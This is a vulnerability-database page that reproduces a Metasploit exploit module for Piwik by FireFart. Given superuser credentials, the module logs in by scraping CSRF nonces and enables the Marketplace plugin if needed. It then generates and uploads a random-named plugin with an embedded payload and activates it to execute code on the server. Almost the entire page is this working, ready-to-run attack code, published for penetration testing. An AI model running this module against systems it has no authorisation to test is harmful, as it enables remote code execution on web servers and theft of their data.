Lucene search
+L

Piwik Superuser Plugin Upload

🗓️ 14 Feb 2017 00:00:00Reported by FireFartType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 39 Views

Piwik Superuser Plugin Upload, Generate, Pack, and Upload Plugin with Payload. Requires Superuser Credentials. Test with Piwik 2.14.0, 2.16.0, 2.17.1, 3.0.1

Code
`##  
# This module requires Metasploit: http://www.metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rex/zip'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'Piwik Superuser Plugin Upload',  
'Description' => %q{  
This module will generate a plugin, pack the payload into it  
and upload it to a server running Piwik. Superuser Credentials are  
required to run this module. This module does not work against Piwik 1  
as there is no option to upload custom plugins.  
Tested with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'FireFart' # Metasploit module  
],  
'References' =>  
[  
[ 'URL', 'https://firefart.at/post/turning_piwik_superuser_creds_into_rce/' ]  
],  
'DisclosureDate' => 'Feb 05 2017',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Piwik', {}]],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path of the Piwik installation', '/']),  
OptString.new('USERNAME', [true, 'The Piwik username to authenticate with']),  
OptString.new('PASSWORD', [true, 'The Piwik password to authenticate with'])  
], self.class)  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def normalized_index  
normalize_uri(target_uri, 'index.php')  
end  
  
def get_piwik_version(login_cookies)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalized_index,  
'cookie' => login_cookies,  
'vars_get' => {  
'module' => 'Feedback',  
'action' => 'index',  
'idSite' => '1',  
'period' => 'day',  
'date' => 'yesterday'  
}  
})  
  
piwik_version_regexes = [  
/<title>About Piwik ([\w\.]+) -/,  
/content-title="About&#x20;Piwik&#x20;([\w\.]+)"/,  
/<h2 piwik-enriched-headline\s+feature-name="Help"\s+>About Piwik ([\w\.]+)/m  
]  
  
if res && res.code == 200  
for r in piwik_version_regexes  
match = res.body.match(r)  
if match  
return match[1]  
end  
end  
end  
  
# check for Piwik version 1  
# the logo.svg is only available in version 1  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri, 'themes', 'default', 'images', 'logo.svg')  
})  
if res && res.code == 200 && res.body =~ /<!DOCTYPE svg/  
return "1.x"  
end  
  
nil  
end  
  
def is_superuser?(login_cookies)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalized_index,  
'cookie' => login_cookies,  
'vars_get' => {  
'module' => 'Installation',  
'action' => 'systemCheckPage'  
}  
})  
  
if res && res.body =~ /You can't access this resource as it requires a 'superuser' access/  
return false  
elsif res && res.body =~ /id="systemCheckRequired"/  
return true  
else  
return false  
end  
end  
  
def generate_plugin(plugin_name)  
plugin_json = %Q|{  
"name": "#{plugin_name}",  
"description": "#{plugin_name}",  
"version": "#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}",  
"theme": false  
}|  
  
plugin_script = %Q|<?php  
namespace Piwik\\Plugins\\#{plugin_name};  
class #{plugin_name} extends \\Piwik\\Plugin {  
public function install()  
{  
#{payload.encoded}  
}  
}  
|  
  
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)  
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)  
zip.add_file("#{plugin_name}/plugin.json", plugin_json)  
zip.pack  
end  
  
def exploit  
print_status('Trying to detect if target is running a supported version of piwik')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalized_index  
})  
if res && res.code == 200 && res.body =~ /<meta name="generator" content="Piwik/  
print_good('Detected Piwik installation')  
else  
fail_with(Failure::NotFound, 'The target does not appear to be running a supported version of Piwik')  
end  
  
print_status("Authenticating with Piwik using #{username}:#{password}...")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalized_index,  
'vars_get' => {  
'module' => 'Login',  
'action' => 'index'  
}  
})  
  
login_nonce = nil  
if res && res.code == 200  
match = res.body.match(/name="form_nonce" id="login_form_nonce" value="(\w+)"\/>/)  
if match  
login_nonce = match[1]  
end  
end  
fail_with(Failure::UnexpectedReply, 'Can not extract login CSRF token') if login_nonce.nil?  
  
cookies = res.get_cookies  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalized_index,  
'cookie' => cookies,  
'vars_get' => {  
'module' => 'Login',  
'action' => 'index'  
},  
'vars_post' => {  
'form_login' => "#{username}",  
'form_password' => "#{password}",  
'form_nonce' => "#{login_nonce}"  
}  
})  
  
if res && res.redirect? && res.redirection  
# update cookies  
cookies = res.get_cookies  
else  
# failed login responds with code 200 and renders the login form  
fail_with(Failure::NoAccess, 'Failed to authenticate with Piwik')  
end  
print_good('Authenticated with Piwik')  
  
print_status("Checking if user #{username} has superuser access")  
superuser = is_superuser?(cookies)  
if superuser  
print_good("User #{username} has superuser access")  
else  
fail_with(Failure::NoAccess, "Looks like user #{username} has no superuser access")  
end  
  
print_status('Trying to get Piwik version')  
piwik_version = get_piwik_version(cookies)  
if piwik_version.nil?  
print_warning('Unable to detect Piwik version. Trying to continue.')  
else  
print_good("Detected Piwik version #{piwik_version}")  
end  
  
if piwik_version == '1.x'  
fail_with(Failure::NoTarget, 'Piwik version 1 is not supported by this module')  
end  
  
# Only versions after 3 have a seperate Marketplace plugin  
if piwik_version && Gem::Version.new(piwik_version) >= Gem::Version.new('3')  
marketplace_available = true  
else  
marketplace_available = false  
end  
  
if marketplace_available  
print_status("Checking if Marketplace plugin is active")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalized_index,  
'cookie' => cookies,  
'vars_get' => {  
'module' => 'Marketplace',  
'action' => 'index'  
}  
})  
fail_with(Failure::UnexpectedReply, 'Can not check for Marketplace plugin') unless res  
if res.code == 200 && res.body =~ /The plugin Marketplace is not enabled/  
print_status('Marketplace plugin is not enabled, trying to enable it')  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalized_index,  
'cookie' => cookies,  
'vars_get' => {  
'module' => 'CorePluginsAdmin',  
'action' => 'plugins'  
}  
})  
mp_activate_nonce = nil  
if res && res.code == 200  
match = res.body.match(/<a href=['"]index\.php\?module=CorePluginsAdmin&action=activate&pluginName=Marketplace&nonce=(\w+).*['"]>/)  
if match  
mp_activate_nonce = match[1]  
end  
end  
fail_with(Failure::UnexpectedReply, 'Can not extract Marketplace activate CSRF token') unless mp_activate_nonce  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalized_index,  
'cookie' => cookies,  
'vars_get' => {  
'module' => 'CorePluginsAdmin',  
'action' => 'activate',  
'pluginName' => 'Marketplace',  
'nonce' => "#{mp_activate_nonce}"  
}  
})  
if res && res.redirect?  
print_good('Marketplace plugin enabled')  
else  
fail_with(Failure::UnexpectedReply, 'Can not enable Marketplace plugin. Please try to manually enable it.')  
end  
else  
print_good('Seems like the Marketplace plugin is already enabled')  
end  
end  
  
print_status('Generating plugin')  
plugin_name = Rex::Text.rand_text_alpha(10)  
zip = generate_plugin(plugin_name)  
print_good("Plugin #{plugin_name} generated")  
  
print_status('Uploading plugin')  
  
# newer Piwik versions have a seperate Marketplace plugin  
if marketplace_available  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalized_index,  
'cookie' => cookies,  
'vars_get' => {  
'module' => 'Marketplace',  
'action' => 'overview'  
}  
})  
else  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalized_index,  
'cookie' => cookies,  
'vars_get' => {  
'module' => 'CorePluginsAdmin',  
'action' => 'marketplace'  
}  
})  
end  
  
upload_nonce = nil  
if res && res.code == 200  
match = res.body.match(/<form.+id="uploadPluginForm".+nonce=(\w+)/m)  
if match  
upload_nonce = match[1]  
end  
end  
fail_with(Failure::UnexpectedReply, 'Can not extract upload CSRF token') if upload_nonce.nil?  
  
# plugin files to delete after getting our session  
register_files_for_cleanup("plugins/#{plugin_name}/plugin.json")  
register_files_for_cleanup("plugins/#{plugin_name}/#{plugin_name}.php")  
  
data = Rex::MIME::Message.new  
data.add_part(zip, 'application/zip', 'binary', "form-data; name=\"pluginZip\"; filename=\"#{plugin_name}.zip\"")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalized_index,  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data.to_s,  
'cookie' => cookies,  
'vars_get' => {  
'module' => 'CorePluginsAdmin',  
'action' => 'uploadPlugin',  
'nonce' => "#{upload_nonce}"  
}  
)  
activate_nonce = nil  
if res && res.code == 200  
match = res.body.match(/<a.*href="index.php\?module=CorePluginsAdmin&action=activate.+nonce=([^&]+)/)  
if match  
activate_nonce = match[1]  
end  
end  
fail_with(Failure::UnexpectedReply, 'Can not extract activate CSRF token') if activate_nonce.nil?  
  
print_status('Activating plugin and triggering payload')  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalized_index,  
'cookie' => cookies,  
'vars_get' => {  
'module' => 'CorePluginsAdmin',  
'action' => 'activate',  
'nonce' => "#{activate_nonce}",  
'pluginName' => "#{plugin_name}"  
}  
}, 5)  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation